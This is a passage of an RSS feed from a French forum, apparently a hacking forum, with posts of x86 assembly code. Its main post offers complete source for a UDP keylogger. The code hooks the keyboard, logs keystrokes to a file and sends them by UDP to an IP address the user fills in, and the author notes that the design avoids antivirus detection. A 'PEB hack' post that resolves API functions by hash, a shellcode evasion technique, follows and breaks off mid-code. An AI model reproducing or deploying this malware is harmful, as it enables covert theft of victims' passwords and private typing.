 <br />
nbrloop db 11<br />
crlf db 13,10,0<br />
 <br />
forms db '%s',10,0<br />
 <br />
;-[Import]----------------------------------------------------------------<br />
 <br />
data import<br />
 <br />
library kernel32,'kernel32.dll',&#92;<br />
    msvcrt,'msvcrt.dll',&#92;<br />
    user32,'user32.dll',&#92;<br />
    wsock32,'ws2_32.dll'<br />
 <br />
include 'include/windows/api/kernel32.inc'<br />
include 'include/windows/api/user32.inc'<br />
include    'include/windows/api/wsock32.inc'<br />
 <br />
import msvcrt,&#92;<br />
printf,'printf',&#92;<br />
puts,'puts'<br />
 <br />
end data</code></div></div><br /><!-- start: postbit_attachments_attachment -->
<div style="background-color: #161616;padding: 5px 10px;">
	
<br /><!-- start: attachment_icon -->
<img src="https://forum.cs-hackers.com/images/attachtypes/zip.png" title="ZIP File" border="0" alt=".zip" />
<!-- end: attachment_icon -->&nbsp;&nbsp;<a class="attachembed" href="attachment.php?aid=731" target="_blank" title="">code.auto.modifiant.zip</a><br><i> (Taille : 1.5 Ko / Téléchargements : 0)</i> </div>
<!-- end: postbit_attachments_attachment -->]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Keylogger UDP]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=4980</link>
			<pubDate>Thu, 21 Feb 2019 13:45:00 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=58610">xddj</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=4980</guid>
			<description><![CDATA[Bonjour,<br />
<br />
J'ai retrouvé dans mes archives le keylogger UDP dont j'avais parlé dans la chatbox.<br />
Pourquoi UDP et pas TCP ? Car TCP est détecté par les antivirus mais pas UDP (en tout cas il n'y était pas il y a 5ans).<br />
Normalement je crois qu'il fonctionne (j'ai la flemme de vérifier).<br />
Je vois aussi qu'il y a une partie commenté sur le code, je crois que c'était pour chiffrer les données. Je dis "je crois" car ça fait 5ans que je n'ai pas codé d'asm et j'ai beaucoup de mal à relire mes codes <img src="https://forum.cs-hackers.com/images/smilies/newGen/smile.png" alt="Smile" title="Smile" class="smilie smilie_280" /> Il faut que je m'y remette.<br />
Enfin voilà.. Vous avez juste à rajouter votre ip WAN dans 'votre_adresse_ip' puis compiler le code et ensuite c'est censé fonctionner. Ah oui, j'oubliais, c'est sur le port 13000 que ça fonctionne, mais ça c'est pareil vous pouvez le changer dans le code.<br />
<br />
<br />
Et il y a des trucs, je ne sais plus pourquoi je l'ai avait écrit dans le code. Par exemple ces trois lignes:<br />
<br />
titre db 'titre',0<br />
message1 db '1',0<br />
message2 db '2',0<br />
<br />
Je crois que vous pouvez les supprimer, tout comme ces trois lignes qui me servaient à faire des printf:<br />
<br />
formd db '%08d',13,10,0<br />
formh db '%08x',13,10,0<br />
forms db '%s',13,10,0<br />
<br />
Voilà le code: (celui ci n'est pas commenté, désolé. Gardez à l'esprit que c'est un code qui n'est pas terminé...)<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE GUI<br />
include 'include/windows/win32a.inc'<br />
<br />
;--------------------------------------------------<br />
section '.flat' code readable writeable executable<br />
;--------------------------------------------------<br />
<br />
entry &#36;<br />
    invoke    CreateThread,0,0,Injection,0,0,dwthread<br />
    or    eax,eax<br />
    jz    exit<br />
<br />
    invoke    WaitForSingleObject,eax,0xffffffff<br />
<br />
<br />
Injection:<br />
    invoke    GetModuleHandle,0<br />
    or    eax,eax<br />
    jz    exit<br />
<br />
    invoke    SetWindowsHookEx,WH_KEYBOARD_LL,Keyhook,eax,0<br />
    mov    [HHOOK],eax<br />
<br />
    invoke    GetMessage,msg,NULL,0,0<br />
<br />
    invoke    UnhookWindowsHookEx,[HHOOK]<br />
    ret<br />
<br />
<br />
proc Keyhook nCode,wParam,lParam<br />
<br />
    cmp    [nCode],HC_ACTION<br />
    jnz    callnexthook<br />
    cmp    [wParam],WM_SYSKEYDOWN<br />
    jz    @f<br />
    cmp    [wParam],WM_KEYDOWN<br />
    jnz    callnexthook<br />
<br />
     @@:<br />
    mov    eax,[lParam]<br />
<br />
    virtual at eax<br />
      _vkCode    dd ?<br />
      _scanCode    dd ?<br />
      _flags    dd ?<br />
      _time        dd ?<br />
      _dwExtraInfo    dd ?<br />
    end virtual<br />
<br />
    mov    eax,[_vkCode]<br />
    mov    [vkCode],eax<br />
<br />
    mov    esi,lowercase<br />
<br />
    invoke    GetKeyState,0xa5<br />
    cmp    ah,0xff<br />
    jnz    @f<br />
    mov    esi,altgrcase<br />
     @@:<br />
    invoke    GetKeyState,0xa0<br />
    cmp    ah,0xff<br />
    jz    @f<br />
<br />
    invoke    GetKeyState,0xa1<br />
    cmp    ah,0xff<br />
    jz    @f<br />
<br />
    invoke    GetKeyState,0x14<br />
    cmp    ax,0x0001<br />
    jnz    Keyscan<br />
     @@:<br />
    mov    esi,uppercase<br />
<br />
Keyscan:<br />
    mov    eax,[vkCode]<br />
    mov    edi,vkcode<br />
<br />
    xor    ecx,ecx<br />
    add    cl,63<br />
    cld<br />
    repne    scasb<br />
    or    cl,cl<br />
    jz    callnexthook<br />
    sub    cl,63<br />
    not    cl<br />
    add    si,cx<br />
    lodsb<br />
<br />
;    shl    ax,8<br />
;    mov    esi,c128<br />
;    add    esi,[cmpt]<br />
;    inc    [cmpt]<br />
;    cmp    [cmpt],16<br />
;    jnz    @f<br />
;    xor    [cmpt],16<br />
;     @@:<br />
;    lodsb<br />
;    cmp    al,ah<br />
;    jz    @f<br />
;    xor    al,ah<br />
;     @@:<br />
    mov    byte [writebuf],al<br />
<br />
    invoke    CreateFile,FilePath,GENERIC_WRITE,0,0,&#92;<br />
        OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0<br />
    mov    [hFile],eax<br />
<br />
    invoke    SetFilePointer,[hFile],0,0,FILE_END<br />
<br />
    invoke    WriteFile,[hFile],writebuf,0x1,BytesNbr,0<br />
<br />
    invoke    GetFileSize,[hFile],0<br />
    mov    [nSize],eax<br />
<br />
    invoke    CloseHandle,[hFile]<br />
<br />
    cmp    [nSize],50<br />
    jna    callnexthook<br />
<br />
    call    Network<br />
<br />
callnexthook:<br />
    invoke    CallNextHookEx,[HHOOK],[wParam],[lParam]<br />
    ret<br />
endp<br />
<br />
<br />
<br />
Network:<br />
    invoke    WSAStartup,0x202,wsadata<br />
<br />
    mov    word [sockaddr],AF_INET<br />
<br />
    mov    cx,13000<br />
    rol    cx,8<br />
    mov    word [sockaddr+2],cx<br />
<br />
    invoke    inet_addr,ip_addr<br />
    mov    dword [sockaddr+4],eax<br />
<br />
    invoke    socket,AF_INET,SOCK_DGRAM,IPPROTO_UDP<br />
    mov    [sock],eax<br />
<br />
    invoke    CreateFile,FilePath,GENERIC_READ,0,0,&#92;<br />
        OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0<br />
    mov    [hFile],eax<br />
<br />
    invoke    GetFileSize,[hFile],0<br />
    mov    [nSize],eax<br />
<br />
    invoke    ReadFile,[hFile],readbuf,[nSize],BytesNbr,0<br />
<br />
    invoke    CloseHandle,[hFile]<br />
<br />
    invoke    sendto,[sock],readbuf,[nSize],0,sockaddr,16<br />
<br />
    ret<br />
<br />
   exit:<br />
    invoke    ExitProcess,0<br />
<br />
<br />
<br />
;-[Data]-------------------------------------------<br />
<br />
titre db 'titre',0<br />
message1 db '1',0<br />
message2 db '2',0<br />
<br />
formd db '%08d',13,10,0<br />
formh db '%08x',13,10,0<br />
forms db '%s',13,10,0<br />
<br />
c128 db 0x7d,0x72,0x6f,0xd7,0x84,0x09,0xb2,0x18,&#92;<br />
    0x12,0xd7,0x43,0xf3,0x33,0x1b,0xa4,0x6f,0<br />
<br />
<br />
cmpt dd 0<br />
msg MSG<br />
<br />
hFile dd 0<br />
FilePath db 'file.txt',0<br />
writebuf db 0<br />
BytesNbr dd 0<br />
nSize dd 0<br />
<br />
dwthread dd 0<br />
HHOOK dd 0<br />
<br />
vkCode dd 0<br />
<br />
altgrcase db 0x00,0x00,0xa4,0x00,0x00,0x00,0x00,0x00,&#92;<br />
         0x00,0x7d,0x5d,0x00,0x23,0x7b,0x5b,0x7c,&#92;<br />
         0x5c,0x7e,0x60,0x5e,0x40,0<br />
<br />
uppercase db 0x0a,0x20,0xa3,0x25,0xb5,0x3f,0x2e,0x2f,&#92;<br />
         0xa7,0x2b,0xb0,0x31,0x33,0x34,0x35,0x36,&#92;<br />
         0x38,0x32,0x37,0x39,0x30,0x41,0x42,0x43,&#92;<br />
         0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,&#92;<br />
         0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,&#92;<br />
         0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x30,&#92;<br />
         0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,&#92;<br />
         0x39,0x2a,0x2b,0x2d,0x2e,0x2f,0<br />
<br />
lowercase db 0x0a,0x20,0x24,0xf9,0x2a,0x2c,0x3b,0x3a,&#92;<br />
         0x21,0x3d,0x29,0x26,0x22,0x27,0x28,0x2d,&#92;<br />
         0x5f,0xe9,0xe8,0xe7,0xe0,0x61,0x62,0x63,&#92;<br />
         0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x6b,&#92;<br />
         0x6c,0x6d,0x6e,0x6f,0x70,0x71,0x72,0x73,&#92;<br />
         0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x30,&#92;<br />
         0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,&#92;<br />
         0x39,0x2a,0x2b,0x2d,0x2e,0x2f,0<br />
<br />
vkcode db 0x0d,0x20,0xba,0xc0,0xdc,0xbc,0xbe,0xbf,&#92;<br />
      0xdf,0xbb,0xdb,0x31,0x33,0x34,0x35,0x36,&#92;<br />
      0x38,0x32,0x37,0x39,0x30,0x41,0x42,0x43,&#92;<br />
      0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,&#92;<br />
      0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,&#92;<br />
      0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x60,&#92;<br />
      0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,&#92;<br />
      0x69,0x6a,0x6b,0x6d,0x6e,0x6f,0<br />
<br />
<br />
<br />
wsadata WSADATA<br />
sock dd ?<br />
sockaddr rb 16<br />
ip_addr db 'votre_adresse_ip',0<br />
readbuf rb 64<br />
<br />
<br />
;-[Import]-----------------------------------------<br />
<br />
data import<br />
<br />
library kernel32,'kernel32.dll',&#92;<br />
    msvcrt,'msvcrt.dll',&#92;<br />
    user32,'user32.dll',&#92;<br />
    wsock32,'ws2_32.dll'<br />
<br />
include 'include/windows/api/kernel32.inc'<br />
include 'include/windows/api/user32.inc'<br />
include    'include/windows/api/wsock32.inc'<br />
<br />
import msvcrt,&#92;<br />
printf, 'printf'<br />
<br />
end data</code></div></div>]]></description>
			<content:encoded><![CDATA[Bonjour,<br />
<br />
J'ai retrouvé dans mes archives le keylogger UDP dont j'avais parlé dans la chatbox.<br />
Pourquoi UDP et pas TCP ? Car TCP est détecté par les antivirus mais pas UDP (en tout cas il n'y était pas il y a 5ans).<br />
Normalement je crois qu'il fonctionne (j'ai la flemme de vérifier).<br />
Je vois aussi qu'il y a une partie commenté sur le code, je crois que c'était pour chiffrer les données. Je dis "je crois" car ça fait 5ans que je n'ai pas codé d'asm et j'ai beaucoup de mal à relire mes codes <img src="https://forum.cs-hackers.com/images/smilies/newGen/smile.png" alt="Smile" title="Smile" class="smilie smilie_280" /> Il faut que je m'y remette.<br />
Enfin voilà.. Vous avez juste à rajouter votre ip WAN dans 'votre_adresse_ip' puis compiler le code et ensuite c'est censé fonctionner. Ah oui, j'oubliais, c'est sur le port 13000 que ça fonctionne, mais ça c'est pareil vous pouvez le changer dans le code.<br />
<br />
<br />
Et il y a des trucs, je ne sais plus pourquoi je l'ai avait écrit dans le code. Par exemple ces trois lignes:<br />
<br />
titre db 'titre',0<br />
message1 db '1',0<br />
message2 db '2',0<br />
<br />
Je crois que vous pouvez les supprimer, tout comme ces trois lignes qui me servaient à faire des printf:<br />
<br />
formd db '%08d',13,10,0<br />
formh db '%08x',13,10,0<br />
forms db '%s',13,10,0<br />
<br />
Voilà le code: (celui ci n'est pas commenté, désolé. Gardez à l'esprit que c'est un code qui n'est pas terminé...)<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE GUI<br />
include 'include/windows/win32a.inc'<br />
<br />
;--------------------------------------------------<br />
section '.flat' code readable writeable executable<br />
;--------------------------------------------------<br />
<br />
entry &#36;<br />
    invoke    CreateThread,0,0,Injection,0,0,dwthread<br />
    or    eax,eax<br />
    jz    exit<br />
<br />
    invoke    WaitForSingleObject,eax,0xffffffff<br />
<br />
<br />
Injection:<br />
    invoke    GetModuleHandle,0<br />
    or    eax,eax<br />
    jz    exit<br />
<br />
    invoke    SetWindowsHookEx,WH_KEYBOARD_LL,Keyhook,eax,0<br />
    mov    [HHOOK],eax<br />
<br />
    invoke    GetMessage,msg,NULL,0,0<br />
<br />
    invoke    UnhookWindowsHookEx,[HHOOK]<br />
    ret<br />
<br />
<br />
proc Keyhook nCode,wParam,lParam<br />
<br />
    cmp    [nCode],HC_ACTION<br />
    jnz    callnexthook<br />
    cmp    [wParam],WM_SYSKEYDOWN<br />
    jz    @f<br />
    cmp    [wParam],WM_KEYDOWN<br />
    jnz    callnexthook<br />
<br />
     @@:<br />
    mov    eax,[lParam]<br />
<br />
    virtual at eax<br />
      _vkCode    dd ?<br />
      _scanCode    dd ?<br />
      _flags    dd ?<br />
      _time        dd ?<br />
      _dwExtraInfo    dd ?<br />
    end virtual<br />
<br />
    mov    eax,[_vkCode]<br />
    mov    [vkCode],eax<br />
<br />
    mov    esi,lowercase<br />
<br />
    invoke    GetKeyState,0xa5<br />
    cmp    ah,0xff<br />
    jnz    @f<br />
    mov    esi,altgrcase<br />
     @@:<br />
    invoke    GetKeyState,0xa0<br />
    cmp    ah,0xff<br />
    jz    @f<br />
<br />
    invoke    GetKeyState,0xa1<br />
    cmp    ah,0xff<br />
    jz    @f<br />
<br />
    invoke    GetKeyState,0x14<br />
    cmp    ax,0x0001<br />
    jnz    Keyscan<br />
     @@:<br />
    mov    esi,uppercase<br />
<br />
Keyscan:<br />
    mov    eax,[vkCode]<br />
    mov    edi,vkcode<br />
<br />
    xor    ecx,ecx<br />
    add    cl,63<br />
    cld<br />
    repne    scasb<br />
    or    cl,cl<br />
    jz    callnexthook<br />
    sub    cl,63<br />
    not    cl<br />
    add    si,cx<br />
    lodsb<br />
<br />
;    shl    ax,8<br />
;    mov    esi,c128<br />
;    add    esi,[cmpt]<br />
;    inc    [cmpt]<br />
;    cmp    [cmpt],16<br />
;    jnz    @f<br />
;    xor    [cmpt],16<br />
;     @@:<br />
;    lodsb<br />
;    cmp    al,ah<br />
;    jz    @f<br />
;    xor    al,ah<br />
;     @@:<br />
    mov    byte [writebuf],al<br />
<br />
    invoke    CreateFile,FilePath,GENERIC_WRITE,0,0,&#92;<br />
        OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0<br />
    mov    [hFile],eax<br />
<br />
    invoke    SetFilePointer,[hFile],0,0,FILE_END<br />
<br />
    invoke    WriteFile,[hFile],writebuf,0x1,BytesNbr,0<br />
<br />
    invoke    GetFileSize,[hFile],0<br />
    mov    [nSize],eax<br />
<br />
    invoke    CloseHandle,[hFile]<br />
<br />
    cmp    [nSize],50<br />
    jna    callnexthook<br />
<br />
    call    Network<br />
<br />
callnexthook:<br />
    invoke    CallNextHookEx,[HHOOK],[wParam],[lParam]<br />
    ret<br />
endp<br />
<br />
<br />
<br />
Network:<br />
    invoke    WSAStartup,0x202,wsadata<br />
<br />
    mov    word [sockaddr],AF_INET<br />
<br />
    mov    cx,13000<br />
    rol    cx,8<br />
    mov    word [sockaddr+2],cx<br />
<br />
    invoke    inet_addr,ip_addr<br />
    mov    dword [sockaddr+4],eax<br />
<br />
    invoke    socket,AF_INET,SOCK_DGRAM,IPPROTO_UDP<br />
    mov    [sock],eax<br />
<br />
    invoke    CreateFile,FilePath,GENERIC_READ,0,0,&#92;<br />
        OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0<br />
    mov    [hFile],eax<br />
<br />
    invoke    GetFileSize,[hFile],0<br />
    mov    [nSize],eax<br />
<br />
    invoke    ReadFile,[hFile],readbuf,[nSize],BytesNbr,0<br />
<br />
    invoke    CloseHandle,[hFile]<br />
<br />
    invoke    sendto,[sock],readbuf,[nSize],0,sockaddr,16<br />
<br />
    ret<br />
<br />
   exit:<br />
    invoke    ExitProcess,0<br />
<br />
<br />
<br />
;-[Data]-------------------------------------------<br />
<br />
titre db 'titre',0<br />
message1 db '1',0<br />
message2 db '2',0<br />
<br />
formd db '%08d',13,10,0<br />
formh db '%08x',13,10,0<br />
forms db '%s',13,10,0<br />
<br />
c128 db 0x7d,0x72,0x6f,0xd7,0x84,0x09,0xb2,0x18,&#92;<br />
    0x12,0xd7,0x43,0xf3,0x33,0x1b,0xa4,0x6f,0<br />
<br />
<br />
cmpt dd 0<br />
msg MSG<br />
<br />
hFile dd 0<br />
FilePath db 'file.txt',0<br />
writebuf db 0<br />
BytesNbr dd 0<br />
nSize dd 0<br />
<br />
dwthread dd 0<br />
HHOOK dd 0<br />
<br />
vkCode dd 0<br />
<br />
altgrcase db 0x00,0x00,0xa4,0x00,0x00,0x00,0x00,0x00,&#92;<br />
         0x00,0x7d,0x5d,0x00,0x23,0x7b,0x5b,0x7c,&#92;<br />
         0x5c,0x7e,0x60,0x5e,0x40,0<br />
<br />
uppercase db 0x0a,0x20,0xa3,0x25,0xb5,0x3f,0x2e,0x2f,&#92;<br />
         0xa7,0x2b,0xb0,0x31,0x33,0x34,0x35,0x36,&#92;<br />
         0x38,0x32,0x37,0x39,0x30,0x41,0x42,0x43,&#92;<br />
         0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,&#92;<br />
         0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,&#92;<br />
         0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x30,&#92;<br />
         0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,&#92;<br />
         0x39,0x2a,0x2b,0x2d,0x2e,0x2f,0<br />
<br />
lowercase db 0x0a,0x20,0x24,0xf9,0x2a,0x2c,0x3b,0x3a,&#92;<br />
         0x21,0x3d,0x29,0x26,0x22,0x27,0x28,0x2d,&#92;<br />
         0x5f,0xe9,0xe8,0xe7,0xe0,0x61,0x62,0x63,&#92;<br />
         0x64,0x65,0x66,0x67,0x68,0x69,0x6a,0x6b,&#92;<br />
         0x6c,0x6d,0x6e,0x6f,0x70,0x71,0x72,0x73,&#92;<br />
         0x74,0x75,0x76,0x77,0x78,0x79,0x7a,0x30,&#92;<br />
         0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,&#92;<br />
         0x39,0x2a,0x2b,0x2d,0x2e,0x2f,0<br />
<br />
vkcode db 0x0d,0x20,0xba,0xc0,0xdc,0xbc,0xbe,0xbf,&#92;<br />
      0xdf,0xbb,0xdb,0x31,0x33,0x34,0x35,0x36,&#92;<br />
      0x38,0x32,0x37,0x39,0x30,0x41,0x42,0x43,&#92;<br />
      0x44,0x45,0x46,0x47,0x48,0x49,0x4a,0x4b,&#92;<br />
      0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0x53,&#92;<br />
      0x54,0x55,0x56,0x57,0x58,0x59,0x5a,0x60,&#92;<br />
      0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,&#92;<br />
      0x69,0x6a,0x6b,0x6d,0x6e,0x6f,0<br />
<br />
<br />
<br />
wsadata WSADATA<br />
sock dd ?<br />
sockaddr rb 16<br />
ip_addr db 'votre_adresse_ip',0<br />
readbuf rb 64<br />
<br />
<br />
;-[Import]-----------------------------------------<br />
<br />
data import<br />
<br />
library kernel32,'kernel32.dll',&#92;<br />
    msvcrt,'msvcrt.dll',&#92;<br />
    user32,'user32.dll',&#92;<br />
    wsock32,'ws2_32.dll'<br />
<br />
include 'include/windows/api/kernel32.inc'<br />
include 'include/windows/api/user32.inc'<br />
include    'include/windows/api/wsock32.inc'<br />
<br />
import msvcrt,&#92;<br />
printf, 'printf'<br />
<br />
end data</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PEB hack]]></title>
			<link>https://forum.cs-hackers.com/showthread.php?tid=4971</link>
			<pubDate>Tue, 19 Feb 2019 16:26:14 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.cs-hackers.com/member.php?action=profile&uid=58610">xddj</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.cs-hackers.com/showthread.php?tid=4971</guid>
			<description><![CDATA[Bonjour,<br />
<br />
A l'époque je n'avais pas pu poster ce code sur le site Developpez car c'est du hack et ils suppriment tout topique contenant du hack. Alors je le post ici.<br />
<br />
Il s'agit d'un peb hack en asm, que j'avais bien commenté donc ça vous aidera à comprendre pour ceux qui sont intéressé par l'asm je vous conseille le compilo Fasm (<a href="https://flatassembler.net/" target="_blank" rel="noopener" class="mycode_url">https://flatassembler.net/</a>), mis à jour régulièrement et contenant pleins d'exemples pour les débutants.<br />
<br />
Voilà le code:<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE GUI 4.0<br />
include 'include/windows/win32a.inc'<br />
<br />
;--------------------------------------------------<br />
section '.flat' code readable writeable executable<br />
;--------------------------------------------------<br />
<br />
    ;TEB<br />
    virtual at 0<br />
     Tib               rd 7<br />
     EnvironmentPointer       dd 0<br />
     Cid               rd 2<br />
     ActiveRpcInfo           dd 0<br />
     ThreadLocalStoragePointer dd 0<br />
     PEB               dd 0<br />
    end virtual<br />
<br />
    ;PEB<br />
    virtual at 0<br />
     InheritedAddressSpace      db 0<br />
     ReadImageFileExecOptions db 0<br />
     BeingDebugged          db 0<br />
     Spare              db 0<br />
     Mutant              dd 0<br />
     ImageBaseAddress      dd 0<br />
     PPEB_LDR_DATA          dd 0<br />
    end virtual<br />
<br />
    ;PEB_LDR_DATA<br />
    virtual at 0<br />
     Length                 dd 0<br />
     Initialized             dd 0<br />
     SsHandle             dd 0<br />
     InLoadOrderModuleList         rd 2<br />
     InMemoryOrderModuleList     rd 2<br />
     InInitializationOrderModuleList rd 2<br />
    end virtual<br />
<br />
    ;LIST_ENTRY<br />
    virtual at 0<br />
     Flink dd 0<br />
     Blink dd 0<br />
    end virtual<br />
<br />
    ;LDR_MODULE<br />
    virtual at 0<br />
;     _InLoadOrderModuleList          rd 2<br />
     _InMemoryOrderModuleList      rd 2<br />
     _InInitializationOrderModuleList rd 2<br />
     BaseAddress              dd 0<br />
     EntryPoint              dd 0<br />
     SizeOfImage              dd 0<br />
     FullDllName:<br />
      .Length              dw 0<br />
      .MaximumLength          dw 0<br />
      .Buffer              dd 0<br />
     BaseDllName:<br />
      .Length              dw 0<br />
      .MaximumLength          dw 0<br />
      .Buffer              dd 0<br />
     Flags                  dd 0<br />
     LoadCount              dw 0<br />
     TlsIndex              dw 0<br />
     HashTableEntry              rd 2     <br />
     TimeDateStamp              dd 0<br />
    end virtual<br />
<br />
<br />
entry &#36;<br />
<br />
    mov    eax,[fs:PEB]<br />
    mov    eax,[eax+PPEB_LDR_DATA]<br />
    mov    eax,[eax+InMemoryOrderModuleList]<br />
<br />
    mov    eax,[eax+Flink]<br />
    mov    eax,[eax+Flink]<br />
<br />
    mov    eax,[eax+BaseAddress]        ;Get Module Base<br />
    mov    [ModuleBase],eax<br />
<br />
    cmp    word [eax],0x5A4D        ;Check MZ signature<br />
    jnz    exit<br />
<br />
    add    eax,[eax+0x3c]            ;PE addr (DosHeader.e_lfanew)<br />
    cmp    dword [eax],0x4550        ;Check PE signature<br />
    jnz    exit<br />
<br />
    mov    eax,[eax+0x78]            ;PE.ExportTable RVA addr<br />
    add    eax,[ModuleBase]        ;Export Directory table VA<br />
<br />
    mov    ecx,[eax+0x18]            ;Number Of Names RVA<br />
    mov    [NumberOfNames],ecx<br />
<br />
    mov    ecx,[eax+0x1c]            ;Address Table RVA<br />
    mov    [AddressTable],ecx<br />
<br />
    mov    ecx,[eax+0x24]            ;Ordinal Table RVA<br />
    mov    [OrdinalTable],ecx<br />
<br />
    mov    esi,[eax+0x20]            ;Name Table RVA<br />
    add    esi,[ModuleBase]        ;Name Table VA<br />
    xor    ecx,ecx<br />
     re:<br />
    lodsd                    ;Get First Name RVA addr<br />
    add    eax,[ModuleBase]        ;Convert it to VA<br />
    push    esi                ;Save Name Table<br />
    mov    esi,eax                ;Prepare For lodsb<br />
     @@:<br />
    lodsb                    ;Hash the name<br />
    add    dl,al<br />
    xor    dh,dl<br />
    rol    edx,8<br />
    cmp    byte [esi],0<br />
    jnz    @b<br />
<br />
    cmp    edx,HashGetProcAddress        ;cmp Hash with function<br />
    jz    @f<br />
    xor    edx,edx<br />
    pop    esi                ;Restore Name Table<br />
    inc    ecx                ;Name counter<br />
    cmp    ecx,[NumberOfNames]        ;Compare tested function with<br />
    jnz    re                ;total number of name<br />
     @@:<br />
    mov    eax,[OrdinalTable]<br />
    add    eax,[ModuleBase]<br />
    xor    edx,edx<br />
    mov    dx,word [eax+ecx*2]        ;Get function ordinal VA<br />
<br />
    mov    eax,[AddressTable]<br />
    add    eax,[ModuleBase]        ;Address Table VA<br />
<br />
    mov    eax,[eax+edx*4]            ;EAT+EOT*4<br />
    add    eax,[ModuleBase]        ;Function VA<br />
    mov    [GetProcAddress],eax<br />
<br />
    push    FunctionName1<br />
    push    [ModuleBase]<br />
    call    [GetProcAddress]<br />
<br />
    push    DllName<br />
    call    eax<br />
<br />
    push    FunctionName2<br />
    push    eax<br />
    call    [GetProcAddress]<br />
<br />
    push    0<br />
    push    Titre<br />
    push    Message<br />
    push    0<br />
    call    eax<br />
<br />
   exit:<br />
    leave<br />
    ret<br />
<br />
<br />
<br />
AddressTable dd 0<br />
OrdinalTable dd 0<br />
ModuleBase dd 0<br />
NumberOfNames dd 0<br />
HashGetProcAddress = 0x6414d1d5<br />
GetProcAddress dd 0<br />
<br />
FunctionName1 db 'LoadLibraryA',0<br />
FunctionName2 db 'MessageBoxA',0<br />
DllName db 'user32.dll',0<br />
<br />
Titre db 'titre',0<br />
Message db 'Message',0</code></div></div>]]></description>
			<content:encoded><![CDATA[Bonjour,<br />
<br />
A l'époque je n'avais pas pu poster ce code sur le site Developpez car c'est du hack et ils suppriment tout topique contenant du hack. Alors je le post ici.<br />
<br />
Il s'agit d'un peb hack en asm, que j'avais bien commenté donc ça vous aidera à comprendre pour ceux qui sont intéressé par l'asm je vous conseille le compilo Fasm (<a href="https://flatassembler.net/" target="_blank" rel="noopener" class="mycode_url">https://flatassembler.net/</a>), mis à jour régulièrement et contenant pleins d'exemples pour les débutants.<br />
<br />
Voilà le code:<br />
<br />
<div class="codeblock"><div class="title">Code :</div><div class="body" dir="ltr"><code>format PE GUI 4.0<br />
include 'include/windows/win32a.inc'<br />
<br />
;--------------------------------------------------<br />
section '.flat' code readable writeable executable<br />
;--------------------------------------------------<br />
<br />
    ;TEB<br />
    virtual at 0<br />
     Tib               rd 7<br />
     EnvironmentPointer       dd 0<br />
     Cid               rd 2<br />
     ActiveRpcInfo           dd 0<br />
     ThreadLocalStoragePointer dd 0<br />
     PEB               dd 0<br />
    end virtual<br />
<br />
    ;PEB<br />
    virtual at 0<br />
     InheritedAddressSpace      db 0<br />
     ReadImageFileExecOptions db 0<br />
     BeingDebugged          db 0<br />
     Spare              db 0<br />
     Mutant              dd 0<br />
     ImageBaseAddress      dd 0<br />
     PPEB_LDR_DATA          dd 0<br />
    end virtual<br />
<br />
    ;PEB_LDR_DATA<br />
    virtual at 0<br />
     Length                 dd 0<br />
     Initialized             dd 0<br />
     SsHandle             dd 0<br />
     InLoadOrderModuleList         rd 2<br />
     InMemoryOrderModuleList     rd 2<br />
     InInitializationOrderModuleList rd 2<br />
    end virtual<br />
<br />
    ;LIST_ENTRY<br />
    virtual at 0<br />
     Flink dd 0<br />
     Blink dd 0<br />
    end virtual<br />
<br />
    ;LDR_MODULE<br />
    virtual at 0<br />
;     _InLoadOrderModuleList          rd 2<br />
     _InMemoryOrderModuleList      rd 2<br />
     _InInitializationOrderModuleList rd 2<br />
     BaseAddress              dd 0<br />
     EntryPoint              dd 0<br />
     SizeOfImage              dd 0<br />
     FullDllName:<br />
      .Length              dw 0<br />
      .MaximumLength          dw 0<br />
      .Buffer              dd 0<br />
     BaseDllName:<br />
      .Length              dw 0<br />
      .MaximumLength          dw 0<br />
      .Buffer              dd 0<br />
     Flags                  dd 0<br />
     LoadCount              dw 0<br />
     TlsIndex              dw 0<br />
     HashTableEntry              rd 2     <br />
     TimeDateStamp              dd 0<br />
    end virtual<br />
<br />
<br />
entry &#36;<br />
<br />
    mov    eax,[fs:PEB]<br />
    mov    eax,[eax+PPEB_LDR_DATA]<br />
    mov    eax,[eax+InMemoryOrderModuleList]<br />
<br />
    mov    eax,[eax+Flink]<br />
    mov    eax,[eax+Flink]<br />
<br />
    mov    eax,[eax+BaseAddress]        ;Get Module Base<br />
    mov    [ModuleBase],eax<br />
<br />
    cmp    word [eax],0x5A4D        ;Check MZ signature<br />
    jnz    exit<br />
<br />
    add    eax,[eax+0x3c]            ;PE addr (DosHeader.e_lfanew)<br />
    cmp    dword [eax],0x4550        ;Check PE signature<br />
    jnz    exit<br />
<br />
    mov    eax,[eax+0x78]            ;PE.ExportTable RVA addr<br />
    add    eax,[ModuleBase]        ;Export Directory table VA<br />
<br />
